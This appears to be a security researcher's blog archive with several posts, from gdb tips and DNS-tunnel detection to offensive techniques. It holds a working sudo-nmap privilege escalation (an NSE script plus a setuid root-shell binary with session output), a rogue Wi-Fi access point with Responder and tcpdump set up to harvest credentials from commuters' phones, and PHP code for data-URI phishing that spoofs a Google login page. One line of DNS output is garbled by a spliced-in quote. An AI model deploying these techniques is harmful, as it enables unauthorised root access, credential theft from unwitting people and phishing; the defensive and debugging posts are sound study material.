vendredi 14 avril 2017

Privilege escalation with a sudo nmap

1/ Intro

Do you miss the good old days where nmap got an --interactive option? This option was mostly used to gain root privileges in the case if nmap was suid or sudo-able. This option has been deprecated and removed from nmap:
http://seclists.org/nmap-dev/2010/q1/1241:
This option is rarely used and doesn't work

This day was a bad day for pentester: no more priv esc with nmap :-(

So an admin can give nmap to its users without any risks? I think not, and I'll explain why.

2/ Nmap scripting engine in action

nmap is a very powerful tool which can be extended through lua scripts. We will use this to gain root privileges:
  • nmap can launch any nse scripts
  • nse scripts can call os.execute(" system commands ")
You can read docs on the nmap website.

3/ Sample nse script

I did a really simple script:
mitsurugi@dojo:~$ cat got_root.nse 
-- The Head Section --
description = [[If nmap is suid or you have sudo nmap rights
this script suid a local binary called binsuid]]
author = "0xMitsurugi"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}

-- The Rule Section --
hostrule = function(host)
    return host
end

-- The Action Section --
action = function(host)
    os.execute("echo got_root ; id > /tmp/owned")
    os.execute("[ -f binsuid ] && chown root.root binsuid")
    os.execute("[ -f binsuid ] && chmod +s binsuid")
    return "suid nmap priv escalation"
end
mitsurugi@dojo:~$

We have a hostrule, which is basically always true if host is up. We will scan 127.0.0.1 so, the action will start.
The action just chown and chmod a file called binsuid in the local folder.

4/ full session

Let's imagine that a user can launch nmap through sudo without the need of a password.
Here is how to gain root privileges: Create a binary giving you a shell, use the nse script which will give suid rights to it. You're done.

mitsurugi@dojo:~$ cat binsuid.c 
#define _GNU_SOURCE 
#include 
#include 
#include 
void main() {
 setresuid(geteuid(),geteuid(),geteuid());
 system("/bin/bash");
}
mitsurugi@dojo:~$ gcc -o binsuid binsuid.c
mitsurugi@dojo:~$ ls -l binsuid
-rwxr-xr-x 1 mitsurugi mitsurugi 8744 avril 14 10:56 binsuid
mitsurugi@dojo:~$ sudo nmap -p 1337 --script got_root.nse 127.0.0.1

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-14 10:55 CEST
got_root
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
PORT     STATE  SERVICE
1337/tcp closed waste

Host script results:
|_got_root: suid nmap priv escalation

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
mitsurugi@dojo:~$ ls -l binsuid
-rwsr-sr-x 1 root root 8744 avril 14 10:55 binsuid
mitsurugi@dojo:~$ ./binsuid 
bash-4.4# id
uid=0(root) gid=1001(mitsurugi) groupes=1001(mitsurugi),27(sudo),29(audio),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner),122(kismet)
bash-4.4#

Ok, root rights acquired, job done.

5/ Outro

Lot of fun
Enjoy responsibly \o/ (and pwn everything!)

Ever tried. Ever failed. No matter. Try Again. Fail again. Fail better.
~Samuel Beckett

0xMitsurugi

mercredi 22 février 2017

Stepping backward in gdb

0/ Intro

Yesterday, I discover an awesome feature of gdb: the concept of recording, and stepping backward in a binary.

You read it good! With gdb, you can run a binary step some instructions and then reverse your steps. You can even change values in memory or register, and continue execution.
It's a feature I've searched for solving crackmes. Usually, in crackme you try some passwords, step through functions and subfunctions, then branches are taken depending on the password, and sometimes, you just want to step backward in order to try another branch.
I've never imagined that it's possible with a vanilla gdb.

Reference doc:
https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html

1/ A heavy weight crackme!

Here is an example of a crackme:

 mitsurugi@dojo:~/chall/reverseGDB$ cat heavyweightcrackme.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
 int heavycalc(char *s) {  
      int a=0;  
      printf("\tBig computation in subfunction\n");  
      a=strlen(s);  
      return a;  
 }  
 int main(int argc, char *argv[]) {  
      printf("Another Crackme\n");  
      if (heavycalc(argv[1]) == 6){  
           printf("Good Boy\n");  
      }  
      else {  
           printf("Bad boy\n");  
      }  
      return(0);  
 }  
 mitsurugi@dojo:~/chall/reverseGDB$  

Nothing really hard, that's just for the demonstration.
The reverser have to input a 6 character long password in order to get the "Good boy" message. Any other length will tell "Bad Boy". The calculation is made in a subfunction.

2/ Reverse stepping GDB in action!

Just use your favorite gdb (higher than v7).

 mitsurugi@dojo:~/chall/reverseGDB$ gdb -q -nx heavyweightcrackme   
 Reading symbols from heavyweightcrackme...(no debugging symbols found)...done.  
 (gdb) b * main  
 Breakpoint 1 at 0x723  
 (gdb) r aaaa  
 Starting program: /home/mitsurugi/chall/reverseGDB/heavyweightcrackme aaaa  
 Breakpoint 1, 0x0000555555554723 in main ()  
 (gdb) record  

Here, we start the recording. Everything will be recorded, memory, breakpoints, registers, flags and so on. Gdb will be able to step backward and forward since that point.

 (gdb) c  
 Continuing.  
 Another Crackme  
      Big computation in subfunction  
 Bad boy  
 The next instruction is syscall exit_group. It will make the program exit. Do you want to stop the program?([y] or n) yes  
 Process record: inferior program stopped.  
 Program stopped.  
 0x00007ffff7af34c6 in __GI__exit (status=status@entry=0) at ../sysdeps/unix/sysv/linux/_exit.c:31  
 31     ../sysdeps/unix/sysv/linux/_exit.c: Aucun fichier ou dossier de ce type.  
 (gdb)  

Ok, we fail at solving this challenge, and we see the "Bad boy" message. (Protip: when gdb ask you to stop the program, answer yes, you will stay in the recorded session).
The magic begins here, with a reverse-continue. It will fast forward until a breakpoint. We have only one, at main.
 (gdb) reverse-continue   
 Continuing.  
 No more reverse-execution history.  
 0x0000555555554723 in main ()   
 (gdb) disass main  
 Dump of assembler code for function main:  
 => 0x0000555555554723 <+0>:     push  %rbp  
   0x0000555555554724 <+1>:     mov  %rsp,%rbp  
   0x0000555555554727 <+4>:     sub  $0x10,%rsp  
   0x000055555555472b <+8>:     mov  %edi,-0x4(%rbp)  
   0x000055555555472e <+11>:     mov  %rsi,-0x10(%rbp)  
   0x0000555555554732 <+15>:     lea  0xef(%rip),%rdi    # 0x555555554828  
   0x0000555555554739 <+22>:     callq 0x555555554590 <puts@plt>  
   0x000055555555473e <+27>:     mov  -0x10(%rbp),%rax  
   0x0000555555554742 <+31>:     add  $0x8,%rax  
   0x0000555555554746 <+35>:     mov  (%rax),%rax  
   0x0000555555554749 <+38>:     mov  %rax,%rdi  
   0x000055555555474c <+41>:     callq 0x5555555546f0 <heavycalc>    //Seems interesting  
   0x0000555555554751 <+46>:     cmp  $0x6,%eax  
   0x0000555555554754 <+49>:     jne  0x555555554764 <main+65>  
   0x0000555555554756 <+51>:     lea  0xdb(%rip),%rdi    # 0x555555554838  
   0x000055555555475d <+58>:     callq 0x555555554590 <puts@plt>  
   0x0000555555554762 <+63>:     jmp  0x555555554770 <main+77>  
   0x0000555555554764 <+65>:     lea  0xd6(%rip),%rdi    # 0x555555554841  
   0x000055555555476b <+72>:     callq 0x555555554590 <puts@plt>  
   0x0000555555554770 <+77>:     mov  $0x0,%eax  
   0x0000555555554775 <+82>:     leaveq   
   0x0000555555554776 <+83>:     retq    
 End of assembler dump.  
 (gdb)  

From now on, we can single step through the binary, examinate memory, add breakpoints (yeah, dynamically!). The heavycalc function seemes interesting because it's return value is checked.
 (gdb) b * 0x000055555555474c  
 Breakpoint 2 at 0x55555555474c  
 (gdb) c  
 Continuing.  
 Breakpoint 2, 0x000055555555474c in main ()  
 (gdb) nexti  
 0x0000555555554751 in main ()  
 (gdb) info reg rax  
 rax      0x4     4  
 (gdb)  

And we can change the execution flow. We see that the rax is compared to six. What happens if we set a 6?Obviously, from now on, the subsequent execution log is deleted and a new execution log starting from the current address will be recorded. This means we will abandon the previously recorded "future" and begin recording a new "future".
 (gdb) set $rax=6  
 Because GDB is in replay mode, changing the value of a register will make the 
execution log unusable from this point onward. Change register rax?(y or n) y 
 (gdb) c  
 Continuing.  
 Good Boy  
 The next instruction is syscall exit_group. It will make the program exit. 
Do you want to stop the program?([y] or n) yes  
 Process record: inferior program stopped.  
 Program stopped.  
 0x00007ffff7af34c6 in __GI__exit (status=status@entry=0) at ../sysdeps/unix/sysv/linux/_exit.c:31  
 31     in ../sysdeps/unix/sysv/linux/_exit.c  
 (gdb)  

Yeah! We have a "Good boy" message. So, it means that heavycalc have to return 6 in order to win. But what do we have in "heavycalc"? Easy, just step backward, and dive into this function:
 (gdb) reverse-continue   
 Continuing.  
 Breakpoint 2, 0x000055555555474c in main ()  
 (gdb) x/10i $rip  
 => 0x55555555474c <main+41>:     callq 0x5555555546f0 <heavycalc>  
   0x555555554751 <main+46>:     cmp  $0x6,%eax  
   0x555555554754 <main+49>:     jne  0x555555554764 <main+65>  
   0x555555554756 <main+51>:     lea  0xdb(%rip),%rdi    # 0x555555554838  
   0x55555555475d <main+58>:     callq 0x555555554590 <puts@plt>  
   0x555555554762 <main+63>:     jmp  0x555555554770 <main+77>  
   0x555555554764 <main+65>:     lea  0xd6(%rip),%rdi    # 0x555555554841  
   0x55555555476b <main+72>:     callq 0x555555554590 <puts@plt>  
   0x555555554770 <main+77>:     mov  $0x0,%eax  
   0x555555554775 <main+82>:     leaveq   
 (gdb) stepi  
 0x00005555555546f0 in heavycalc ()  
 (gdb) disass heavycalc   
 Dump of assembler code for function heavycalc:  
 => 0x00005555555546f0 <+0>:     push  %rbp  
   0x00005555555546f1 <+1>:     mov  %rsp,%rbp  
   0x00005555555546f4 <+4>:     sub  $0x20,%rsp  
   0x00005555555546f8 <+8>:     mov  %rdi,-0x18(%rbp)  
   0x00005555555546fc <+12>:     movl  $0x0,-0x4(%rbp)  
   0x0000555555554703 <+19>:     lea  0xfe(%rip),%rdi    # 0x555555554808  
   0x000055555555470a <+26>:     callq 0x555555554590 <puts@plt>  
   0x000055555555470f <+31>:     mov  -0x18(%rbp),%rax  
   0x0000555555554713 <+35>:     mov  %rax,%rdi  
   0x0000555555554716 <+38>:     callq 0x5555555545a0 <strlen@plt>  
   0x000055555555471b <+43>:     mov  %eax,-0x4(%rbp)  
   0x000055555555471e <+46>:     mov  -0x4(%rbp),%eax  
   0x0000555555554721 <+49>:     leaveq   
   0x0000555555554722 <+50>:     retq    
 End of assembler dump.  
 (gdb)  

And we can inspect memory again, etc, etc..

3/ Outro

This feature is AWESOME \o/
The concept of stepping backward, forward, inspecting memory and so on is full of fun. My next cracking session will be recorded, replayed and enhanced.
The gdb documentation gives a lot of options, actions and possibilities, this blogpost is just here to show a minimal reverseGDB sessions.

And the irony of reversing gdb while reversing binaries strikes on me :)

0xMitsurugi
Winners trains. Loosers complains.

jeudi 16 février 2017

All your credz are belong to me. When raspi meets wifi sniffing.

1/ A wild Raspberry appears!

Two weeks ago, I won in a CTF a raspberry Pi3. After toying a little with the ARM CPU, I decided to make something offensive with this raspi. As you may know, the raspberry 3 comes with an integrated Wifi card, and it's powered with an USB cable:
We don't clearly see the wifi card, but it's here :-)

On the other hand, I have a neat little rescue battery for my phone:
A battery full of energy

This battery delivers 800mA, and its enough to power the raspberry for more than two hours (maybe more, but I never tried for more than two hours and it's largely enough for me). With this setup, I have a portable raspberry and I can walk anywhere.

The idea is to configure the raspberry as an access point, and wait for innocents smartphones to connect with it. Listen the network, then grab as much data as possible. Free credz for me \o/  This kind of tests have been made in the past, but I just want to test it by myself.
It ended to be incredibly easy to setup and successfull.

2/ Setup everything

We need three parts: create an access point, set up some honeypots to gather credz, and sniff data. Once OK, launch everything at boot.

2/1/ Access Point

Before creating the access point, we have to configure the wifi card, and setup a DHCP server.
Add those lines in /etc/network/interfaces:
 allow-hotplug wlan0   
 iface wlan0 inet static   
   address 172.24.1.1  
   netmask 255.255.255.0  
   network 172.24.1.0  
   broadcast 172.24.1.255  

Next, install dnsmasq, and create a specific conf file, only for answering DHCP requests:
 root@raspberrypi:~# mv /etc/dnsmasq.conf /etc/dnsmasq.conf.ori  
 root@raspberrypi:~# cat /etc/dnsmasq.d/dnsmasq.conf   
 # Listen on this specific port instead of the standard DNS port  
 # (53). Setting this to zero completely disables DNS function,  
 # leaving only DHCP and/or TFTP.  
 port=0  
 interface=wlan0   # Use interface wlan0   
 listen-address=172.24.1.1 # Explicitly specify the address to listen on   
 bind-interfaces   # Bind to the interface to make sure we aren't sending things elsewhere   
 domain-needed    # Don't forward short names   
 bogus-priv      # Never forward addresses in the non-routed address spaces.   
 dhcp-range=172.24.1.50,172.24.1.150,12h # Assign IP addresses between 172.24.1.50 and 172.24.1.150 with a 12 hour lease time   
 # DNS is managed by another process, which will send rogue response  
 dhcp-option=6,172.24.1.1  
 root@raspberrypi:~#   

And installing the AP is very straightforward:
 root@raspberrypi:~# apt-get install hostapd  
 create a file /etc/hostap/hostapd.conf  
 root@raspberrypi:~# cat /etc/hostapd/hostapd.conf  
 interface=wlan0  
 driver=nl80211  
 #Configure the name of the SSID to fulfill your needs  
 ssid=My Test SSID  
 hw_mode=g  
 channel=6  
 ieee80211n=1  
 wmm_enabled=1  
 ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]  
 macaddr_acl=0  
 #Warning, this is the configuration for a full Open AP. Anybody can use it.  
 #Don't use it without knowing what you do
 auth_algs=1  
 root@raspberrypi:~#  

Launch it with
 root@raspberrypi:~# hostapd -d /etc/hostapd/hostapd.conf  

You shoud see the SSID "My Test SSID" in any Wifi Device, and connection should work. You won't get internet access, but we don't need it.

2/2/ Honeypoting

I decided to reuse Responder, which is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. It's designed for windows (netbios, and so on) in mind but it works with any smartphone/tablet because of all authentications server.

Once again, really easy:
 root@raspberrypi:~# git clone https://github.com/SpiderLabs/Responder.git  
no configuration file is needed, anything works out of the box. Nice.

2/3/ Sniffing

We will sniff with tcpdump.
 root@raspberrypi:~# apt-get install tcpdump  

2/4/ Launch everything at boot

As I will used this raspberry in my pocket, it must be able to launch everything at boot without ant interaction, then regain access while plugged in a computer with SSH access. For that, I'm using screen and a systemd unit file:
 root@raspberrypi:~# cat /etc/systemd/system/screen_AP.service   
 [Unit]  
 Description=screen for AP  
 [Service]  
 Type=oneshot  
 RemainAfterExit=yes  
 ExecStart=/usr/bin/screen -c /root/screen_AP  
 StandardInput=tty  
 TTYPath=/dev/tty2  
 TTYReset=yes  
 TTYVHangup=yes  
 [Install]  
 WantedBy=multi-user.target  
 root@raspberrypi:~#  

And the screen_AP file launch three tabs, then detach:
 root@raspberrypi:~# cat screen_AP   
 startup_message off  
 defscrollback 100000  
 screen -d -m -t AP hostapd -d /etc/hostapd/hostapd.conf  
 chdir /root/Responder  
 screen -d -m -t Responder ./Responder.py -I wlan0 -bwrf  
 screen -d -m -t tcpdump tcpdump -s0 -n -i wlan0 -w /root/AP.pcap  
 detach  
 root@raspberrypi:~#  
That's it, you're done!

The Pi will boot, setup the wlan0 card, launching it as an AP (dnsmasq start with its own unit file), launch Responder and sniff everything.

3/ Playground

My tests have shown that association is not so easy to achieve
  • A smartphone won't connect to any open wifi magically
  • A smartphone take some long seconds to associate: You can't just walk in the street waiting for phone to connect.
Those two problems can be solved. First, I reuse some well-known SSID names such as "Starbucks", "Apple DEMO", "orange" or "FreeWifi" (I'm in france and those two last names are french ISP providing open wifi) and so on.

Second, for the delay made by the connecting time, I choose the subway. People are standing still for some minutes, and eventually they can be tempted to connect to an open Wifi network. Moreover, subway here doesn't have any cell networks, so phone would be more tempted to join wifi networks I guess.

Let's try
The subway will make a stop to Sniffing Station!

4/ Results

It works. Not really well, but it works, I had connections. For example, with the SSID "Apple Demo" (the ssid available in any apple store) I have associations and connections to captive.apple.com and so on..

For the credz, nothing will be published here, and I can't deny nor confirm anything about them ^_^


The main problem I'm facing is the SSID name. Very unfortunately, the wifi card in the Pi3 can only manage one SSID:
 root@raspberrypi:~# iw list  
 Wiphy phy0  
  (...)  
      valid interface combinations:  
            * #{ managed } <= 1, #{ P2P-device } <= 1, #{ P2P-client, P2P-GO } <= 1,  
             total <= 3, #channels <= 2  
            * #{ managed } <= 1, #{ AP } <= 1, #{ P2P-client } <= 1, #{ P2P-device } <= 1,  
             total <= 4, #channels <= 1  
      Device supports scan flush.  
 root@raspberrypi:~#  
total AP <= 1 , such a bad luck :-(

I can make rolling SSID names, but having 8 SSID at the same time would have been so nice :)

Next step could be:
  • Enhance the AP part with:
    • buying an external USB wifi card :-/
    • roll SSIDs names every 3-4 minutes, but that's unsatisfying
  • Enhance the Responder part with more honeypots and better HTTP response
    • Usually, apps and OS do a GET to a known domainname and wait for a specific string

Good side effects is that I can use the SSID to connect to the raspberry with my phone, thanks to ConnectBot and see logs in real time :-)

5/ Conclusion

That was fun to setup and to see the logs.
Note to myself: be sure than Wifi on my smartphone is turned off :-)

0xMitsurugi
"Cry in the dojo. Laugh on the battlefield."
~ Author unknown

lundi 12 décembre 2016

Yet another phishing in Firefox with data URI and 302 redirect

1/ Introduction


Little known fact: you can redirect HTTP to a data URI.

2/ Let's have fun with redirect

Create a php file:
 <?php  
 header("Location: data:text,Hello World");  
 ?>  
and serve it for Firefox. In all its glory, Firefox will print "Hello World!"

3/ Enhance with phishing

And yes, you can use HTML instead of pure text. And with HTML, you can do what you want. And the beginning of the data: URI will be printed in the adress bar. Looks good for having fun.
  • First, add HTML capabilities:
    data:text/html 
  • Second, trick user in address bar, because address bar will print the content of data: scheme:
    https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1&osid=1 
  • Third, add some HTML (and clean up)
    <HTML><html><script>document.body.innerHTML = '';</script><br>No, this is not from google accounts!!<br><br></html>
  • Fourth, be nice by adding a pretty thing in Tab bar of Firefox: Google

4/ Ready to go:

Create a php file like this:

 <?php  
 $data_uri = "data:text/html,";  
 $decoy = "https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1&osid=1";  
 $evil_html = "<html><script>document.body.innerHTML = '';</script><br>No, this is not from google accounts!!<br><br></html>";  
 $pretty_tab_print = "Google";  
 $redirect_url = $data_uri . $decoy . $evil_html . $pretty_tab_print;  
 header("Location: " . $redirect_url);  
 ?>  

And trick a user to go to this page (you know, phishing stuff, with bit.ly or any url shortener):



A click on this php file served through a webserver will drive you to:

4/ Is it something new?

Well, yes and no.
Phishing with data URI is known for a veeery long time. A paper has been published some time ago http://klevjers.com/papers/phishing.pdf
this is the same idea, I've added the vector with the 302 Redirect.

It's not a big deal, if you're tricked by this, you can be tricked by anything else.

lundi 5 décembre 2016

Finding DNS tunnels by analyzing network captures

DNS tunnels is a method used to exchange data on top of DNS traffic. It's generally used to bypass some filtering equipement to communicate between two hosts.

This article is about the detection of a DNS tunnel. Can we find DNS tunnels by analyzing a pcap offline? We will see that the first basic solution (counting subdomain for a domain) is prone to a high number of false positive when applied to real DNS data. We will then propose another approach wich could help for DNS Tunnel detection

1/ DNS tunnels: the theorical part

The theory here is super easy. If a client in a protected network can send DNS requests and receive response, then you can mount a DNS tunnel.

Clients sends encoded data for a specific subdomain of attacker domain and waits for the answer. This way, data is exchanged. The client just have to pay attention to make unique DNS requests, in order to avoid caching of an intermediary DNS server. Thanks to the multiple type of DNS requests, and to the size of requests, you can get some enough decent bandwidth to do an ssh session.

You can find a lot of resources for building DNS tunnels with a lot of tools: iodine, dnscapy, dnscat2, etc etc.. Those tools provide usually some encryption and helpers to exchange data.

2/ Finding should be super easy by counting requests

The most obvious way to spot a DNS tunnel should be counting the number of subdomain for a specific domain. For each chunk of data, client have to build a new DNS name for the domain owned by attacker.

I captured some DNS traffic while using a DNS tunnel (dnscat2 in that case). I estimate that we can type a lot of harmfull bash commands in dnscat2 in less than 50 DNS requests. Let's use 50 as a threshold: if a domain has more than 50 subdomain, then you can flag it as a DNS tunnel

3/ Ok, let's do it the dirty way: bash+python

There are a lot of way to analyze data, I choose a splitted approach:
  • at first, extract interesting data with tshark and bash to a flat file
  • tshark -2 -r "$1" -R "dns.flags.response == 1" -T fields -e dns.qry.name > doms_qry
  • then analyze data with python
This way is convenient for me because I have easy access to the flat file after extraction and before analysis.

mitsurugi@dojo:~/DNS_analyzer/analyze_doms$ ./do_flat.sh ../dnscat2.pcap
Copied unique domains in doms_qry
Number of domains copied: 244 doms_qry
mitsurugi@dojo:~/DNS_analyzer/analyze_doms$ ./analyze.py

###################results#####################
Longest domains is constitued of 6 labels
210a01a0afcdbdc7ba0c620018e34268b55725c38e3452f6fb89aaddc8dd.7d5f153eaafe56a1e7d7e3599d60b753f400516596638349fd29a0d3468b.0edcc3ced25269ca7e8e75121f858c2f5d5c142f14c21d964051c8a15c0b.97601ee531b3fb8e7c321622c48abf5acc99c629.dnscat2.tux
91db01a0afeebc809c889b001975661a47a87c35a271ab34972c8d321c8c.ae573af81e94756d71c633d32188bb0554f1ade983d00e23f206d5cf20c4.a4b41c7b5960c85fb5b7283286c76ac27a37b49b1a6075a9e5727878430d.bd0a421c95229477fd7bbee07c5768ee411e5d7b.dnscat2.tux
15b601e0afcc2d43946b4a001aa7894e4255e74d2d1a481cd8dc578e7c45.82768a7af119a392e3284104fc821624a12d3deaafd91bf138b99f13e6a2.487a65e38f2e594e6d3728a7660b2d5a62595460b7a133670dbfc308dc4b.6447719f4f6e.dnscat2.tux
a9670169561ddb4bb9e05b0013eed9143bb125481944c4c3d12b21664f9f.0bab3f63a255e1f239b71ba4f3db28d5c3f8415346af21e80ed504912211.e9ea5b237042d1f0ee9fb5351ff93b6faf1c5d1ad26120a4a066973ca5ee.e9962c0ca2ee14724031a6269e54e7c31a1d75dc.dnscat2.tux
acd901695e08afb6284a450014bf31ca85d18fb7f6bc023bb69ddbeb4194.91e90cb2788515712616907396bfa530fe785512ba5846280ee953c79f6a.e469e9dcb61508a2b532dbafc82eebb336f0812678cdbc81f58efd73eac6.7ba69eeac8388fa1deb5267771a1d8c866572cfd.dnscat2.tux

Longest domain name is 235 char long:
210a01a0afbdadc7ba0c620018e34268b55725c38e3452f6fb89aaddc8dd.7d5f153eaafe56a157d7e3599d60b753f40051659663a349fd29a0d3468b.0edcc3ccd25269ca7e8e75121f858c2f5d5c142f14c21d964051c8a15c0b.97601ee531b3fb8e7c321622c48abf5acc99c629.dnscat2.tux
91db01a0afdeba809c889b001975661a47a87d35a271ab34972c8d321c8c.ae573af81e94756d31c633d32188bb0554f1ade982d01e23f206d5cf20c4.a4b41c7b5950c85fb5b7283286c76ac27a37b49b1a6075a9e5727878430d.bd0a421c95229477fd7bbee07c5768ee411e5d7b.dnscat2.tux
a96701695e1dda4bb9e05b0013eed9143bb12f481944c4c3d12b21664f9f.0bab3f63a255e1f2f9b71ba4f3db28d5c3f8415346afb1e80ed504912211.e9ea5b237062d1f0ee9fb5351ff93b6faf1c5d1ad26120a4a066973ca5ee.e9962c0ca2ee14724031a6269e54e7c31a1d75dc.dnscat2.tux
acd901695e08afa1284a450014bf31ca85d18ab7f6bc023bb69ddbeb4194.91e90cb278851571b616907396bfa530fe785512ba6856280ee953c79f6a.e469e9dbb6d508a2b532dbafc82eebb336f0812678cdbc81f58efd73eac6.7ba69eeac8388fa1deb5267771a1d8c866572cfd.dnscat2.tux

######### Following domains ###########
Interesting tld for rank 0
 tux(243 subdomains)

######### Following domains ###########
Interesting tld for rank 1
 dnscat2.tux(243 subdomains)

You should investigate on domains
    dnscat2.tux  (243 subdomains)

mitsurugi@dojo:~/DNS_analyzer/analyze_doms$
That works remarkably well. If you find this kind of data in your DNS logs, you should investigate quickly.

4/ But, does this work in real life? (spoiler: no)

Well, this work in a test lab. Now, how does this work in real?
I have to say that it's incredibly hard to find real DNS data. See end of blog for details, but I had the chance to put hands on two full pcap capture from an university. I have to name and thanks ISCX http://www.unb.ca/research/iscx/dataset/iscx-dataset.html : data is legit for research and analysis. Really a big thanks.

Now, I use the exact same programs and let's try if we can find DNS tunnels in those captures:

 mitsurugi@dojo:~/DNS_analyzer/analyze_doms$ ./analyze.py

###################results#####################
Longest domains is constitued of 8 labels
www.deloitte.com.edgekey.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
images.apple.com.edgesuite.net.globalredir.akadns.net
www.intel-sino.com.edgesuite.net.chinaredirector.akadns.netYou fool! Don't make me laugh!
~Soulcalibur - Mitsurugi
s3.getmiro.3.0.com.s3.amazonaws.com
s3.getmiro.3.0.com.s3.amazonaws.com
s3.getmiro.3.0.com.s3.amazonaws.com

Longest domain name is 59 char long:
community-powered-web-search-swicki-swicki.socialsearch.com
community-powered-web-search-swicki-swicki.socialsearch.com
community-powered-web-search-swicki-swicki.socialsearch.com
www.intel-sino.com.edgesuite.net.chinaredirector.akadns.net

######### Following domains ###########
Interesting tld for rank 0
 au(54 subdomains); net(1502 subdomains); gov(53 subdomains); jp(96 subdomains); org(195 subdomains); com(3181 subdomains); uk(91 subdomains)

######### Following domains ###########
Interesting tld for rank 1
 wordpress.com(52 subdomains); akamaiedge.net(105 subdomains); msn.com(54 subdomains); akamai.net(324 subdomains); edgesuite.net(172 subdomains); akadns.net(98 subdomains); co.uk(73 subdomains); akam.net(51 subdomains); google.com(68 subdomains); yahoo.com(87 subdomains)

######### Following domains ###########
Interesting tld for rank 2
 com.edgesuite.net(146 subdomains); g.akamai.net(121 subdomains)

You should investigate on domains
    com.edgesuite.net  (146 subdomains)
    g.akamai.net  (121 subdomains)
    akamaiedge.net  (105 subdomains)
    akadns.net  (98 subdomains)
    yahoo.com  (87 subdomains)
    co.uk  (73 subdomains)
    google.com  (68 subdomains)
    msn.com  (54 subdomains)
    wordpress.com  (52 subdomains)
    akam.net  (51 subdomains)

mitsurugi@dojo:~/DNS_analyzer/analyze_doms$
OK, so that's a full list of false positive. If I raise the threshold higher, then I can miss some short living DNS tunnel.

I think that we can clearly say that counting the number of subdomain doesn't work in practice.

5/ Can we do better? (spoiler: yes, sort of)

We have some options here:

5/1/ whitelisting domains

I don't like the idea of whitelisting. Usually, maintaining such lists are pita, but it can help you.

5/2/ analyzing only requests of type other than 'A' (and 'AAAA').

Well, you'll end up with a lot of MX and/or SPF records, that's still a good way to lower the noise, but it should help. I didn't see any DNS tunnels relying on A or AAAA type, but hackers have a lot of imagination.

5/3/ calculating entropy of domain.

Yeah, it should works. But you will face other problems: cdn names can look like random, MX name can look totally legit while being DNS data tunnels. More and more file reputations and cloud antivirus relies on TXT DNS requests... and they look totally likes DNS tunnels (a lot of different TXT requests going to the same domain). So, try at your own risks.

5/4/ Analyzing DNS response instead of requests.

It would be a lot better, combined with the previous one. Still, an hacker would be able to use AAAA or A records to exchange data (throughput of tunnel would be lowered by an order of magnitude, but hackers have a lot of time...)

5/5/ Raising threshold

It could work, but we have to agree on a number not to high, not to low. In the end, we must rely to human analysis, and it can't work that way.

6/ Lessons learned

They are some lessons here:

Counting subdomains doesn't work

No, counting subdomains doesn't work at all. It can helps do lower the size of data to analyze, but you can't trust it for sure.

It's hard to grab DNS data (really.) 

Sad but true. If you want to share DNS data with me (or know place where you can have some), I would be grateful. Beware, DNS data is an impressive way to gather metadata and has a lot of privacy concerns.

Parsing DNS data is not that easy. 

Everybody think they know DNS: "you ask a fqdn, you get an IP" and it's WRONG! You can end up with a lot of RR, multiple queries, UDP and TCP, endless CNAME requests, and so on. For this kind of research a flat file is enough, but I have to find better way to parse and analyze this kind of structured data.

...and beyond

You can find a LOT of things inside DNS data (more blog posts to come)

0xMitsurugi
You fool! Don't make me laugh!
~Soulcalibur - Mitsurugi

 

mardi 20 septembre 2016

Break On Call and Break On Ret under gdb

1/ Adding BOC and BOR for gdb

As a reverse engineer, I like really gdb. It has a lot of cool features and is scriptable through python.

While I was solving a crackme challenge I needed a break on call and a break on ret instructions. I search the web and did not find what I wanted.

So, I developped a boc (break on call) and a bor (break on ret) function and sharing it today.

2/ How it works?

You just have to source a python file and you end up with three commands:
  • boc : activate break on call with boc on or boc off. You can choose by breaking or printing on call by boc break or boc print
  • bor : same commands for break on ret
  • go : if you have selected boc on and/or bor on, typing go will executing the binary until next call or next ret
 $ gdb -nx -q  
 (gdb) source bocbor.py   
 (gdb) boc  
 Status of Break on Call is off/break  
   Change with boc on/off and boc break/print  
 (gdb) bor  
 Status of Break on Ret is off/break  
   Change with bor on/off and bor break/print  
 (gdb) boc on  
 (gdb) boc  
 Status of Break on Call is on/break  
   Change with boc on/off and boc break/print  
 (gdb)  

3/ Please, just show me the code! 

It's on github
https://github.com/0xmitsurugi/gdbscripts
The Readme shows a typical bocbor session.

4/ Enjoy

Feedback, bugs: mail or twitter

mardi 30 août 2016

Don't always trust your debugger blindly : What You See Is not What You Get!

0/ Intro


A debugger or debugging tool is a computer program that is used to test and debug other programs (the "target" program) (source wikipedia). We can cite IDA or gdb as well known debuggers used in security community.

A debugger is also the security analyst best friend :-) it will help him (or her) to understand what the program is doing. But what if somebody craft an executable file which will show different behaviors between the debugger and the real life?


Let's do that under linux with an ELF binary. ELF is an executable format, supported by IDA and gdb. The format of ELF files is well-known. ELF contains headers, Program Headers and Section Headers.

Program headers are read by kernel when the ELF binary is launched, Section headers are read by debuggers. Theorically, they are the same. Theorically, they said.

Let's start with a very simple Hello World program:
 #include <stdlib.h>  
 const char hello[]="Hello World\n\x00\x03\x00\x00\x00\x01\x00\x02";  
 const char hell[]="Bad, bad World\n";  
 int main(void) {  
      puts(hello);  
      exit(0);  
 }  

Don't pay attention for the garbage at the end of hello[] and the presence of hell[] for now. No need to be an expert to understand what will be printed.

1/ Taking a look Section headers


Let's look at .rodata section, containing the strings, and the relevant asm part in .text:

 mitsurugi@dojo:~/chall/magick$ readelf -x .rodata hello  
 Hex dump of section '.rodata':  
